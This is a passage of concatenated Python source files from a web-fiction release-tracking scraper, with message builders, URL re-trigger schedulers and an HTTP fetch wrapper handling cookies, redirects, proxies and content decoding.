def getNiceName(srcurl):

	srcnetloc = urllib.parse.urlparse(srcurl).netloc

	if srcnetloc in mapper:
		return mapper[srcnetloc]

	return False








import pprint
import json
import ftfy


def fixSmartQuotes(text):
	if isinstance(text, list):
		text = [fixSmartQuotes(tmp) for tmp in text]
		return text
	text = text.replace(r"\'", "'")
	text = text.replace(r'\"', '"')
	text = text.replace(r"’", "'")
	text = text.replace(r"‘", "'")
	text = text.replace(r"“", '"')
	text = text.replace(r"”", '"')
	return text

def fixCase(inText):
	if isinstance(inText, list):
		inText = [fixCase(tmp) for tmp in inText]
		return inText
	caps  = sum(1 for c in inText if c.isupper())
	lower = sum(1 for c in inText if c.islower())
	if (lower == 0) or (caps == 0) or (caps / lower) > 2.5:
		inText = inText.title()
	return inText

def fix_string(val):
	if isinstance(val, list):
		val = [fixCase(tmp) for tmp in val]
		return val

	if not val:
		return val
	val = fixSmartQuotes(val)
	val = fixCase(val)
	val = ftfy.fix_text(val)
	return val

def fix_dict(inRelease):
	for key in inRelease.keys():
		if isinstance(inRelease[key], str):
			inRelease[key] = fix_string(inRelease[key])
	return inRelease


def pack_message(type, data, is_beta=False):

	ret = {
		'type' : type,
		'data' : data,

		# "beta" items are optionally filtered client-end to allow
		# testing in my dev env without having the feed outputs go through
		# to the prod env
		'beta'      : is_beta,
	}
	return json.dumps(ret).encode("utf-8")



def buildReleaseMessage(raw_item, series, vol, chap=None, frag=None, postfix='', author=None, tl_type='translated', extraData={}, matchAuthor=False):
	'''
	Special case behaviour:
		If vol or chapter is None, the
		item in question will sort to the end of
		the relevant sort segment.
	'''

	ret = {
		'srcname'      : raw_item['srcname'],
		'series'       : fix_string(series),
		'vol'          : vol,
		'chp'          : chap,
		'frag'         : frag,
		'published'    : raw_item['published'],
		'itemurl'      : raw_item['linkUrl'],
		'postfix'      : fix_string(postfix),
		'author'       : fix_string(author),
		'tl_type'      : tl_type,
		'match_author' : matchAuthor,

	}

	# pprint.pprint(ret)

	for key, value in extraData.items():
		assert key not in ret
		ret[key] = value

	return ret


def createSeriesInfoPacket(data, beta=False, matchAuthor=False):

	expect = ['title', 'author', 'tags', 'desc', 'tl_type', 'sourcesite']
	allowed = ['alt_titles', 'author', 'desc', 'homepage', 'illust', 'pubdate', 'pubnames', 'sourcesite', 'tags', 'title', 'tl_type', 'update_only', 'coostate', 'type', 'genres', 'licensed', 'transcomplete']



	# assert len(expect) == len(data),             "Invalid number of items in metadata packet! Expected: '%s', received '%s'" % (expect, data)
	assert all([key in data for key in expect]), "Invalid key in metadata message! Expect: '%s', received '%s'" % (expect, list(data.keys()))

	haven = list(data.keys())
	[haven.remove(tmp) for tmp in allowed if tmp in haven]
	assert len(haven) == 0, "Disallowed tag in update! Uncleared tags: '%s'" % haven

	data['title']        = fix_string(data['title'])
	data['desc']         = fix_string(data['desc'])
	data['match_author'] = matchAuthor

	return pack_message('series-metadata', data, is_beta=beta)


def createReleasePacket(data, beta=False):
	'''
	Release packets can have "extra" data, so just check it's long enough and we have the keys we expect.	'''

	expect = ['srcname', 'series', 'vol', 'chp', 'published', 'itemurl', 'postfix', 'author', 'tl_type']

	assert len(expect) <= len(data), "Invalid number of items in release packet! Expected: '%s', received '%s'" % (expect, data)
	assert all([key in data for key in expect]), "Invalid key in release message! Expect: '%s', received '%s'" % (expect, list(data.keys()))

	data['series']  = fix_string(data['series'])
	data['postfix'] = fix_string(data['postfix'])
	data['author']  = fix_string(data['author'])

	return pack_message('parsed-release', data, is_beta=beta)













#!/usr/bin/python
# from profilehooks import profile
import urllib.parse
import re
import json
import logging
from WebMirror.OutputFilters import AmqpInterface
import settings
from WebMirror.util.titleParseNew import TitleParser


from WebMirror.OutputFilters.util.MessageConstructors import buildReleaseMessage

# pylint: disable=W0201


skip_filter = [
	"www.baka-tsuki.org",
	"re-monster.wikia.com",
]

def extractTitle(inStr):
	# print("Parsing: '%s'" % inStr)
	p    = TitleParser(inStr)
	vol  = p.getVolume()
	chp  = p.getChapter()
	frag = p.getFragment()
	post = p.getPostfix()

	if (chp and not frag) or (chp and float(int(float(chp))) != float(chp) and (frag == 0 or frag is None)):
		chp = int(chp)
		frag = int(chp * 100) % 100

	# if chp:
	# 	assert float(int(float(chp))) == float(chp), "chp is not an integer ('%s', %s, %s, %s)! Wat?" % (inStr, vol, chp, frag)
	# if vol:
	# 	assert float(int(float(vol))) == float(vol), "vol is not an integer ('%s', %s, %s, %s)! Wat?" % (inStr, vol, chp, frag)
	# if frag:
	# 	assert float(int(float(frag))) == float(frag), "frag is not an integer ('%s', %s, %s, %s)! Wat?" % (inStr, vol, chp, frag)



	return vol, chp, frag, post

def extractChapterVol(inStr):
	vol, chp, dummy_frag, dummy_post = extractTitle(inStr)
	return chp, vol

def extractVolChapterFragmentPostfix(inStr):
	vol, chp, frag, post = extractTitle(inStr)
	return vol, chp, frag, post

def extractChapterVolFragment(inStr):
	vol, chp, frag, dummy_post = extractTitle(inStr)
	return chp, vol, frag








import WebMirror.rules
import WebMirror.TimedTriggers.TriggerBase

import urllib.parse
import datetime
import sqlalchemy.exc

class RssTriggerBase(WebMirror.TimedTriggers.TriggerBase.TriggerBaseClass):


	pluginName = "Rss Trigger"

	loggerPath = 'RssTrigger'


	def retriggerRssFeeds(self, feedurls):
		sess = self.db.get_db_session()
		for url in feedurls:
			# print(url)
			self.retriggerUrl(url)


	def go(self):
		self.rules =  WebMirror.rules.load_rules()
		feeds = []
		for item in self.rules:
			feeds += item['feedurls']

		self.log.info("Found %s feeds in rule files.", len(feeds))
		self.retriggerRssFeeds(feeds)



if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()
	run = RssTriggerBase()
	run._go()









import WebMirror.rules
import WebMirror.TimedTriggers.TriggerBase
import config
import datetime
import time
import zlib
import settings
import datetime
import sqlalchemy.exc

import WebMirror.database as dbm



class RollingRewalkTriggerBase(WebMirror.TimedTriggers.TriggerBase.TriggerBaseClass):


	pluginName = "RollingRewalk Trigger"

	loggerPath = 'RollingRewalk'


	def go(self):
		rules = WebMirror.rules.load_rules()
		self.log.info("Rolling re-trigger of starting URLs.")



		starturls = []
		for ruleset in [tmp for tmp in rules if (tmp and tmp['starturls'])]:
			for starturl in ruleset['starturls']:
				if not ruleset['rewalk_interval_days']:
					interval = settings.REWALK_INTERVAL_DAYS
				else:
					interval = ruleset['rewalk_interval_days']
				starturls.append((interval, starturl))



		threshold_time = datetime.datetime.now() - datetime.timedelta(days=3)
		sess = self.db.get_db_session()

		for interval, url in starturls:
			hval = zlib.crc32(url.encode("utf-8"))

			day   = hval % interval
			today = int(time.time() / (60*60*24)) % interval

			if "wattpad.com" in url:
				continue
			if "booksie.com" in url:
				continue

			def conditional_check(row):
				if day == today or row.fetchtime < (datetime.datetime.now() - datetime.timedelta(days=settings.REWALK_INTERVAL_DAYS)):
					print("Retriggering: ", row, row.fetchtime, row.url)
					row.state    = "new"
					row.distance = 0
					row.priority = dbm.DB_IDLE_PRIORITY
					row.ignoreuntiltime = datetime.datetime.now() - datetime.timedelta(days=1)

			self.retriggerUrl(url, conditional=conditional_check)


		self.log.info("Old files retrigger complete.")


if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()
	run = RollingRewalkTriggerBase()
	run._go()















import logging
import abc
import datetime
import urllib.parse
import sqlalchemy.exc
import WebMirror.database as db

class TriggerBaseClass(metaclass=abc.ABCMeta):

	# Abstract class (must be subclassed)
	__metaclass__ = abc.ABCMeta

	@abc.abstractmethod
	def pluginName(self):
		return None

	@abc.abstractmethod
	def loggerPath(self):
		return None


	def __init__(self):

		self.db = db

		self.log = logging.getLogger("Main.Trigger."+self.loggerPath)
		self.log.info("Loading %s Runner", self.pluginName)


	def _go(self):
		self.log.info("Checking %s for updates", self.pluginName)

		self.go()
		self.log.info("Update check for %s finished.", self.pluginName)

	def retriggerUrl(self, url, conditional=None):

		sess = self.db.get_db_session()
		while 1:
			try:
				have = sess.query(self.db.WebPages) \
					.filter(self.db.WebPages.url == url)  \
					.scalar()
				if have and have.state in ['disabled', 'specialty_deferred', 'specialty_ready', 'removed']:
					self.log.warning("Page disabled or being processed by specialty handler: (%s, %s)?", have.url, have.state)
				elif conditional and not conditional(have):
					sess.commit()
				elif (
						have
						and have.state in ['new', 'fetching', 'processing', 'removed']
						and have.priority <= self.db.DB_HIGH_PRIORITY
						and have.distance > 1
						and have.ignoreuntiltime > datetime.datetime.now() - datetime.timedelta(hours=1)
					):
					self.log.info("Skipping: '%s' (%s, %s)", url, have.state, have.priority)
				elif have and have.state not in ['new', 'disabled', 'specialty_deferred', 'specialty_ready']:
					self.log.info("Retriggering feed URL: %s", url)
					have.state    = "new"
					have.priority = self.db.DB_HIGH_PRIORITY
					have.ignoreuntiltime = datetime.datetime.now() - datetime.timedelta(days=1)
					sess.commit()
				elif have:
					self.log.warning("URL already in 'new' state: %s", url)
					have.ignoreuntiltime = datetime.datetime.now() - datetime.timedelta(days=1)
					have.priority = self.db.DB_HIGH_PRIORITY
					have.distance = 0
					sess.commit()
				else:
					self.log.info("New URL: %s", url)
					new = self.db.WebPages(
							url      = url,
							starturl = url,
							netloc   = urllib.parse.urlsplit(url).netloc,
							priority = self.db.DB_HIGH_PRIORITY,
							distance = 0
						)
					sess.add(new)
					sess.commit()

				break

			except sqlalchemy.exc.InternalError:
				self.log.info("Transaction error. Retrying.")
				sess.rollback()
			except sqlalchemy.exc.OperationalError:
				self.log.info("Transaction error. Retrying.")
				sess.rollback()
			except sqlalchemy.exc.IntegrityError:
				self.log.info("Transaction error. Retrying.")
				sess.rollback()
			except sqlalchemy.exc.InvalidRequestError:
				self.log.info("Transaction error. Retrying.")
				sess.rollback()


if __name__ == "__main__":
	import utilities.testBase as tb

	with tb.testSetup(startObservers=True):

		run = Runner()
		run.go()









import WebMirror.rules
import abc
import WebMirror.TimedTriggers.TriggerBase

import urllib.parse
import datetime
import sqlalchemy.exc


class PageTriggerBase(WebMirror.TimedTriggers.TriggerBase.TriggerBaseClass):


	pluginName = "Page Triggers"

	loggerPath = 'PageTriggers'

	@abc.abstractproperty
	def pages(self):
		pass


	def retriggerPages(self):


		for x in range(len(self.pages)):
			url = self.pages[x]
			if x % 50 == 0:
				self.log.info("Retriggering step %s", x)
			self.retriggerUrl(url)

		self.log.info("Pages retrigger complete.")

	def go(self):
		self.log.info("Retriggering %s pages.", len(self.pages))
		self.retriggerPages()


class HourlyPageTrigger(PageTriggerBase):
	pages = [
		# RoyalRoadL
		'http://royalroadl.com/fictions/newest/',
		'http://royalroadl.com/fictions/weekly-views-top-50/',
		'http://royalroadl.com/fictions/latest-updates/',
		'http://royalroadl.com/fictions/active-top-50/',
		'http://royalroadl.com/fictions/best-rated/',

		# Japtem bits
		'http://japtem.com/fanfic.php?action=last_updated',
		'http://japtem.com/fanfic.php',

		# Twitter feeds for annoying sites without better release mechanisms.
		'https://twitter.com/Baka_Tsuki',
		'https://twitter.com/Nano_Desu_Yo',
	]

class EverySixHoursPageTrigger(PageTriggerBase):
	pages = [
		# NovelUpdates
		# 'http://www.novelupdates.com',

	]

class EveryOtherDayPageTrigger(PageTriggerBase):
	rrl_pages    = ['http://www.royalroadl.com/fiction/%s' % x for x in range(10000)]
	japtem_pages = ['http://japtem.com/fanfic.php?novel=%s' % x for x in range(800)]
	pages = rrl_pages + japtem_pages

if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()
	run = HourlyPageTrigger()
	run._go()
	run2 = EveryOtherDayPageTrigger()
	run2._go()







#!/usr/bin/python3
import sys
import codecs

import urllib.request
import urllib.parse
import urllib.error
import socks
from sockshandler import SocksiPyHandler


import os.path

import time
import http.cookiejar

import traceback
import multiprocessing

import logging
import zlib
import bs4
import re
import gzip
import string
import io
import socket
import json
import base64

import random
random.seed()


import selenium.webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities


def as_soup(str):
	return bs4.BeautifulSoup(str, "lxml")


def determine_json_encoding(json_bytes):
	'''
	Given the fact that the first 2 characters in json are guaranteed to be ASCII, we can use
	these to determine the encoding.
	See: http://tools.ietf.org/html/rfc4627#section-3

	Copied here:
	   Since the first two characters of a JSON text will always be ASCII
	   characters [RFC0020], it is possible to determine whether an octet
	   stream is UTF-8, UTF-16 (BE or LE), or UTF-32 (BE or LE) by looking
	   at the pattern of nulls in the first four octets.

	           00 00 00 xx  UTF-32BE
	           00 xx 00 xx  UTF-16BE
	           xx 00 00 00  UTF-32LE
	           xx 00 xx 00  UTF-16LE
	           xx xx xx xx  UTF-8
	'''
	assert(isinstance(json_bytes, bytes))
	if len(json_bytes) > 4:
		b1, b2, b3, b4 = json_bytes[0], json_bytes[1], json_bytes[2], json_bytes[3]
		if   b1 == 0 and b2 == 0 and b3 == 0 and b4 != 0:
			return "UTF-32BE"
		elif b1 == 0 and b2 != 0 and b3 == 0 and b4 != 0:
			return "UTF-16BE"
		elif b1 != 0 and b2 == 0 and b3 == 0 and b4 == 0:
			return "UTF-32LE"
		elif b1 != 0 and b2 == 0 and b3 != 0 and b4 == 0:
			return "UTF-16LE"
		elif b1 != 0 and b2 != 0 and b3 != 0 and b4 != 0:
			return "UTF-8"
		else:
			raise ValueError("Unknown encoding!")
	elif len(json_bytes) > 2:
		b1, b2 = json_bytes[0], json_bytes[1]
		if   b1 == 0 and b2 == 0:
			return "UTF-32BE"
		elif b1 == 0 and b2 != 0:
			return "UTF-16BE"
		elif b1 != 0 and b2 == 0:
			raise ValueError("Json string too short to definitively infer encoding.")
		elif b1 != 0 and b2 != 0:
			return "UTF-8"
		else:
			raise ValueError("Unknown encoding!")

	raise ValueError("Input string too short to guess encoding!")


class title_not_contains(object):
	""" An expectation for checking that the title *does not* contain a case-sensitive
	substring. title is the fragment of title expected
	returns True when the title matches, False otherwise
	"""
	def __init__(self, title):
		self.title = title


	def __call__(self, driver):
		return self.title not in driver.title

#pylint: disable-msg=E1101, C0325, R0201, W0702, W0703


class HeadRequest(urllib.request.Request):
	def get_method(self):
		return "HEAD"

class HTTPRedirectBlockerErrorHandler(urllib.request.HTTPErrorProcessor):

	def http_response(self, request, response):
		code, msg, hdrs = response.code, response.msg, response.info()

		# only add this line to stop 302 redirection.
		if code == 302:
			print("Code!", 302)
			return response
		if code == 301:
			print("Code!", 301)
			return response

		print("[HTTPRedirectBlockerErrorHandler] http_response! code:", code)
		print(hdrs)
		print(msg)
		if not (200 <= code < 300):
			response = self.parent.error('http', request, response, code, msg, hdrs)
		return response

	https_response = http_response



# Custom redirect handler to work around
# issue https://bugs.python.org/issue17214
class HTTPRedirectHandler(urllib.request.HTTPRedirectHandler):
	# Implementation note: To avoid the server sending us into an
	# infinite loop, the request object needs to track what URLs we
	# have already seen.  Do this by adding a handler-specific
	# attribute to the Request object.
	def http_error_302(self, req, fp, code, msg, headers):
		# Some servers (incorrectly) return multiple Location headers
		# (so probably same goes for URI).  Use first header.
		if "location" in headers:
			newurl = headers["location"]
		elif "uri" in headers:
			newurl = headers["uri"]
		else:
			return

		# fix a possible malformed URL
		urlparts = urllib.parse.urlparse(newurl)

		# For security reasons we don't allow redirection to anything other
		# than http, https or ftp.

		if urlparts.scheme not in ('http', 'https', 'ftp', ''):
			raise urllib.error.HTTPError(
				newurl, code,
				"%s - Redirection to url '%s' is not allowed" % (msg, newurl),
				headers, fp)

		if not urlparts.path:
			urlparts = list(urlparts)
			urlparts[2] = "/"
		newurl = urllib.parse.urlunparse(urlparts)

		# http.client.parse_headers() decodes as ISO-8859-1.  Recover the
		# original bytes and percent-encode non-ASCII bytes, and any special
		# characters such as the space.
		newurl = urllib.parse.quote(
			newurl, encoding="iso-8859-1", safe=string.punctuation)
		newurl = urllib.parse.urljoin(req.full_url, newurl)

		# XXX Probably want to forget about the state of the current
		# request, although that might interact poorly with other
		# handlers that also use handler-specific request attributes
		new = self.redirect_request(req, fp, code, msg, headers, newurl)
		if new is None:
			return

		# loop detection
		# .redirect_dict has a key url if url was previously visited.
		if hasattr(req, 'redirect_dict'):
			visited = new.redirect_dict = req.redirect_dict
			if (visited.get(newurl, 0) >= self.max_repeats or
				len(visited) >= self.max_redirections):
				raise urllib.error.HTTPError(req.full_url, code,
								self.inf_msg + msg, headers, fp)
		else:
			visited = new.redirect_dict = req.redirect_dict = {}
		visited[newurl] = visited.get(newurl, 0) + 1

		# Don't close the fp until we are sure that we won't use it
		# with HTTPError.
		fp.read()
		fp.close()

		return self.parent.open(new, timeout=req.timeout)



# A urllib2 wrapper that provides error handling and logging, as well as cookie management. It's a bit crude, but it works.
# Also supports transport compresion.
# OOOOLLLLLLDDDDD, has lots of creaky internals. Needs some cleanup desperately, but lots of crap depends on almost everything.
# Arrrgh.

from threading import Lock
COOKIEWRITELOCK = Lock()

GLOBAL_COOKIE_FILE = None

class PreemptiveBasicAuthHandler(urllib.request.HTTPBasicAuthHandler):
	'''Preemptive basic auth.

	Instead of waiting for a 403 to then retry with the credentials,
	send the credentials if the url is handled by the password manager.
	Note: please use realm=None when calling add_password.'''
	def http_request(self, req):
		url = req.get_full_url()
		realm = None
		# this is very similar to the code from retry_http_basic_auth()
		# but returns a request object.
		user, pw = self.passwd.find_user_password(realm, url)
		if pw:
			raw = "%s:%s" % (user, pw)
			raw = raw.encode("ascii")
			auth = b'Basic ' + base64.standard_b64encode(raw).strip()
			req.add_unredirected_header(self.auth_header, auth)
		return req

	https_request = http_request

class WebGetRobust:
	COOKIEFILE = 'cookies.lwp'				# the path and filename to save your cookies in
	cj = None
	cookielib = None
	opener = None

	errorOutCount = 2
	# retryDelay = 0.1
	retryDelay = 0.0


	data = None

	# if test=true, no resources are actually fetched (for testing)
	# creds is a list of 3-tuples that gets inserted into the password manager.
	# it is structured [(top_level_url1, username1, password1), (top_level_url2, username2, password2)]
	def __init__(self, test=False, creds=None, logPath="Main.Web", cookie_lock=None, use_socks=False):

		if cookie_lock:
			self.cookie_lock = cookie_lock
		else:
			self.cookie_lock = COOKIEWRITELOCK

		self.use_socks = use_socks
		# Override the global default socket timeout, so hung connections will actually time out properly.
		socket.setdefaulttimeout(30)

		self.log = logging.getLogger(logPath)
		# print("Webget init! Logpath = ", logPath)
		if creds:
			print("Have creds for a domain")
		if test:
			self.log.warning("-----------------------------------------------------------------------------------------------")
			self.log.warning("WARNING: WebGet in testing mode!")
			self.log.warning("-----------------------------------------------------------------------------------------------")

		# Due to general internet people douchebaggyness, I've basically said to hell with it and decided to spoof a whole assortment of browsers
		# It should keep people from blocking this scraper *too* easily
		self.browserHeaders = getUserAgent()

		self.testMode = test		# if we don't want to actually contact the remote server, you pass a string containing
									# pagecontent for testing purposes as test. It will get returned for any calls of getpage()

		self.data = urllib.parse.urlencode(self.browserHeaders)


		if creds:
			print("Have credentials, installing password manager into urllib handler.")
			passManager = urllib.request.HTTPPasswordMgrWithDefaultRealm()
			for url, username, password in creds:
				passManager.add_password(None, url, username, password)
			self.credHandler = PreemptiveBasicAuthHandler(passManager)
		else:
			self.credHandler = None

		self.loadCookies()

	def loadCookies(self):

		self.cj = http.cookiejar.LWPCookieJar()		# This is a subclass of FileCookieJar
												# that has useful load and save methods
		if self.cj is not None:
			if os.path.isfile(self.COOKIEFILE):
				try:
					self.cj.load(self.COOKIEFILE)
					# self.log.info("Loading CookieJar")
				except:
					self.log.critical("Cookie file is corrupt/damaged?")
					try:
						os.remove(self.COOKIEFILE)
					except FileNotFoundError:
						pass
			if http.cookiejar is not None:
				# self.log.info("Installing CookieJar")
				self.log.debug(self.cj)
				cookieHandler = urllib.request.HTTPCookieProcessor(self.cj)
				args = (cookieHandler, HTTPRedirectHandler)
				if self.credHandler:
					print("Have cred handler. Building opener using it")
					args += (self.credHandler, )
				if self.use_socks:
					print("Using Socks handler")
					args = (SocksiPyHandler(socks.SOCKS5, "127.0.0.1", 9050), ) + args

				self.opener = urllib.request.build_opener(*args)
				#self.opener.addheaders = [('User-Agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
				self.opener.addheaders = self.browserHeaders
				#urllib2.install_opener(self.opener)

		for cookie in self.cj:
			self.log.debug(cookie)
			#print cookie


	def chunkReport(self, bytesSoFar, totalSize):
		if totalSize:
			percent = float(bytesSoFar) / totalSize
			percent = round(percent * 100, 2)
			self.log.info("Downloaded %d of %d bytes (%0.2f%%)" % (bytesSoFar, totalSize, percent))
		else:
			self.log.info("Downloaded %d bytes" % (bytesSoFar))


	def chunkRead(self, response, chunkSize=2 ** 18, reportHook=None):
		contentLengthHeader = response.info().getheader('Content-Length')
		if contentLengthHeader:
			totalSize = contentLengthHeader.strip()
			totalSize = int(totalSize)
		else:
			totalSize = None
		bytesSoFar = 0
		pgContent = ""
		while 1:
			chunk = response.read(chunkSize)
			pgContent += chunk
			bytesSoFar += len(chunk)

			if not chunk:
				break

			if reportHook:
				reportHook(bytesSoFar, chunkSize, totalSize)

		return pgContent



	def getSoup(self, *args, **kwargs):
		if 'returnMultiple' in kwargs and kwargs['returnMultiple']:
			raise ValueError("getSoup cannot be called with 'returnMultiple' being true")

		if 'soup' in kwargs and kwargs['soup']:
			raise ValueError("getSoup contradicts the 'soup' directive!")

		page = self.getpage(*args, **kwargs)
		if isinstance(page, bytes):
			raise ValueError("Received content not decoded! Cannot parse!")

		soup = as_soup(page)
		return soup

	def getJson(self, *args, **kwargs):
		if 'returnMultiple' in kwargs and kwargs['returnMultiple']:
			raise ValueError("getSoup cannot be called with 'returnMultiple' being true")

		attempts = 0
		while 1:
			try:
				page = self.getpage(*args, **kwargs)
				if isinstance(page, bytes):
					page = page.decode(determine_json_encoding(page))
					# raise ValueError("Received content not decoded! Cannot parse!")

				page = page.strip()
				ret = json.loads(page)
				return ret
			except ValueError:
				if attempts < 1:
					attempts += 1
					self.log.error("JSON Parsing issue retreiving content from page!")
					for line in traceback.format_exc().split("\n"):
						self.log.error("%s", line.rstrip())
					self.log.error("Retrying!")

					# Scramble our current UA
					self.browserHeaders = getUserAgent()
					time.sleep(self.retryDelay)
				else:
					self.log.error("JSON Parsing issue, and retries exhausted!")
					# self.log.error("Page content:")
					# self.log.error(page)
					# with open("Error-ctnt-{}.json".format(time.time()), "w") as tmp_err_fp:
					# 	tmp_err_fp.write(page)
					raise


	def getFileAndName(self, *args, **kwargs):
		if 'returnMultiple' in kwargs:
			raise ValueError("getFileAndName cannot be called with 'returnMultiple'")

		if 'soup' in kwargs and kwargs['soup']:
			raise ValueError("getFileAndName contradicts the 'soup' directive!")

		kwargs["returnMultiple"] = True

		pgctnt, pghandle = self.getpage(*args, **kwargs)

		info = pghandle.info()
		if not 'Content-Disposition' in info:
			hName = ''
		elif not 'filename=' in info['Content-Disposition']:
			hName = ''
		else:
			hName = info['Content-Disposition'].split('filename=')[1]


		return pgctnt, hName


	def buildRequest(self, pgreq, postData, addlHeaders, binaryForm, req_class = urllib.request.Request):
		# Encode Unicode URL's properly

		try:
			tmp = pgreq.encode("ascii")
		except UnicodeEncodeError:
			print("Wat?")
			print("pgreq: '%s'", pgreq)


		try:
			params = {}
			headers = {}
			if postData != None:
				self.log.info("Making a post-request! Params: '%s'", postData)
				params['data'] = urllib.parse.urlencode(postData).encode("utf-8")
			if addlHeaders != None:
				self.log.info("Have additional GET parameters!")
				headers = addlHeaders
			if binaryForm:
				self.log.info("Binary form submission!")
				if 'data' in params:
					raise ValueError("You cannot make a binary form post and a plain post request at the same time!")

				params['data']            = binaryForm.make_result()
				headers['Content-type']   =  binaryForm.get_content_type()
				headers['Content-length'] =  len(params['data'])


			return req_class(pgreq, headers=headers, **params)

		except:
			self.log.critical("Invalid header or url")
			raise


	def decodeHtml(self, pageContent, cType):

		# this *should* probably be done using a parser.
		# However, it seems to be grossly overkill to shove the whole page (which can be quite large) through a parser just to pull out a tag that
		# should be right near the page beginning anyways.
		# As such, it's a regular expression for the moment

		# Regex is of bytes type, since we can't convert a string to unicode until we know the encoding the
		# bytes string is using, and we need the regex to get that encoding
		coding = re.search(rb"charset=[\'\"]?([a-zA-Z0-9\-]*)[\'\"]?", pageContent, flags=re.IGNORECASE)

		cType = b""
		charset = None
		try:
			if coding:
				cType = coding.group(1)
				codecs.lookup(cType.decode("ascii"))
				charset = cType.decode("ascii")

		except LookupError:

			# I'm actually not sure what I was thinking when I wrote this if statement. I don't think it'll ever trigger.
			if (b";" in cType) and (b"=" in cType): 		# the server is reporting an encoding. Now we use it to decode the

				dummy_docType, charset = cType.split(b";")
				charset = charset.split(b"=")[-1]

		if not charset:
			self.log.warning("Could not find encoding information on page - Using default charset. Shit may break!")
			charset = "iso-8859-1"

		try:
			pageContent = str(pageContent, charset)

		except UnicodeDecodeError:
			self.log.error("Encoding Error! Stripping invalid chars.")
			pageContent = pageContent.decode('utf-8', errors='ignore')

		return pageContent

	def decompressContent(self, coding, pgctnt):
		#preLen = len(pgctnt)
		if coding == 'deflate':
			compType = "deflate"

			pgctnt = zlib.decompress(pgctnt)

		elif coding == 'gzip':
			compType = "gzip"

			buf = io.BytesIO(pgctnt)
			f = gzip.GzipFile(fileobj=buf)
			pgctnt = f.read()

		elif coding == "sdch":
			raise ValueError("Wait, someone other then google actually supports SDCH compression?")

		else:
			compType = "none"

		return compType, pgctnt

	def decodeTextContent(self, pgctnt, cType):

		if cType:
			if (";" in cType) and ("=" in cType):
				# the server is reporting an encoding. Now we use it to decode the content
				# Some wierdos put two charsets in their headers:
				# `text/html;Charset=UTF-8;charset=UTF-8`
				# Split, and take the first two entries.
				docType, charset = cType.split(";")[:2]
				charset = charset.split("=")[-1]

				# Only decode content marked as text (yeah, google is serving zip files
				# with the content-disposition charset header specifying "UTF-8") or
				# specifically allowed other content types I know are really text.
				decode = ['application/atom+xml', 'application/xml', "application/json", 'text']
				if any([item in docType for item in decode]):
					try:
						pgctnt = str(pgctnt, charset)
					except UnicodeDecodeError:
						self.log.error("Encoding Error! Stripping invalid chars.")
						pgctnt = pgctnt.decode('utf-8', errors='ignore')

			else:
				# The server is not reporting an encoding in the headers.
				# Use content-aware mechanisms for determing the content encoding.


				if "text/html" in cType or \
					'text/javascript' in cType or    \
					'application/xml' in cType or    \
					'application/atom+xml' in cType:				# If this is a html/text page, we want to decode it using the local encoding

					pgctnt = self.decodeHtml(pgctnt, cType)

				elif "text/plain" in cType or "text/xml" in cType:
					pgctnt = bs4.UnicodeDammit(pgctnt).unicode_markup

				# Assume JSON is utf-8. Probably a bad idea?
				elif "application/json" in cType:
					pgctnt = pgctnt.decode('utf-8')

				elif "text" in cType:
					self.log.critical("Unknown content type!")
					self.log.critical(cType)

		else:
			self.log.critical("No content disposition header!")
			self.log.critical("Cannot guess content type!")

		return pgctnt

	def retreiveContent(self, pgreq, pghandle, callBack):
		try:
			# If we have a progress callback, call it for chunked read.
			# Otherwise, just read in the entire content.
			if callBack:
				pgctnt = self.chunkRead(pghandle, 2 ** 17, reportHook=callBack)
			else:
				pgctnt = pghandle.read()


			if pgctnt == None:
				return False

			self.log.info("URL fully retrieved.")

			preDecompSize = len(pgctnt)/1000.0

			encoded = pghandle.headers.get('Content-Encoding')
			compType, pgctnt = self.decompressContent(encoded, pgctnt)


			decompSize = len(pgctnt)/1000.0
			# self.log.info("Page content type = %s", type(pgctnt))
			cType = pghandle.headers.get("Content-Type")
			if compType == 'none':
				self.log.info("Compression type = %s. Content Size = %0.3fK. File type: %s.", compType, decompSize, cType)
			else:
				self.log.info("Compression type = %s. Content Size compressed = %0.3fK. Decompressed = %0.3fK. File type: %s.", compType, preDecompSize, decompSize, cType)

			pgctnt = self.decodeTextContent(pgctnt, cType)

			return pgctnt

		except:
			print("pghandle = ", pghandle)

			self.log.error(sys.exc_info())
			traceback.print_exc()
			self.log.error("Error Retrieving Page! - Transfer failed. Waiting %s seconds before retrying", self.retryDelay)

			try:
				self.log.critical("Critical Failure to retrieve page! %s at %s", pgreq.get_full_url(), time.ctime(time.time()))
				self.log.critical("Exiting")
			except:
				self.log.critical("And the URL could not be printed due to an encoding error")
			print()
			self.log.error(pghandle)
			time.sleep(self.retryDelay)

		return False


		# HUGE GOD-FUNCTION.
		# OH GOD FIXME.

		# postData expects a dict
		# addlHeaders also expects a dict
	def getpage(self, requestedUrl, **kwargs):
		# pgreq = fixurl(pgreq)

		# strip trailing and leading spaces.
		requestedUrl = requestedUrl.strip()

		# addlHeaders = None, returnMultiple = False, callBack=None, postData=None, soup=False, retryQuantity=None, nativeError=False, binaryForm=False

		# If we have 'soup' as a param, just pop it, and call `getSoup()`.
		if 'soup' in kwargs and kwargs['soup']:
			self.log.warn("'soup' kwarg is depreciated. Please use the `getSoup()` call instead.")
			kwargs.pop('soup')

			return self.getSoup(requestedUrl, **kwargs)

		# Decode the kwargs values
		addlHeaders    = kwargs.setdefault("addlHeaders",     None)
		returnMultiple = kwargs.setdefault("returnMultiple",  False)
		callBack       = kwargs.setdefault("callBack",        None)
		postData       = kwargs.setdefault("postData",        None)
		retryQuantity  = kwargs.setdefault("retryQuantity",   None)
		nativeError    = kwargs.setdefault("nativeError",     False)
		binaryForm     = kwargs.setdefault("binaryForm",      False)

		# Conditionally encode the referrer if needed, because otherwise
		# urllib will barf on unicode referrer values.
		if addlHeaders and 'Referer' in addlHeaders:
			addlHeaders['Referer'] = iri2uri(addlHeaders['Referer'])

		requestedUrl = iri2uri(requestedUrl)


		if not self.testMode:
			retryCount = 0
			while 1:

				pgctnt = None
				pghandle = None

				pgreq = self.buildRequest(requestedUrl, postData, addlHeaders, binaryForm)

				errored = False
				lastErr = ""

				retryCount = retryCount + 1

				if (retryQuantity and retryCount > retryQuantity) or (not retryQuantity and retryCount > self.errorOutCount):
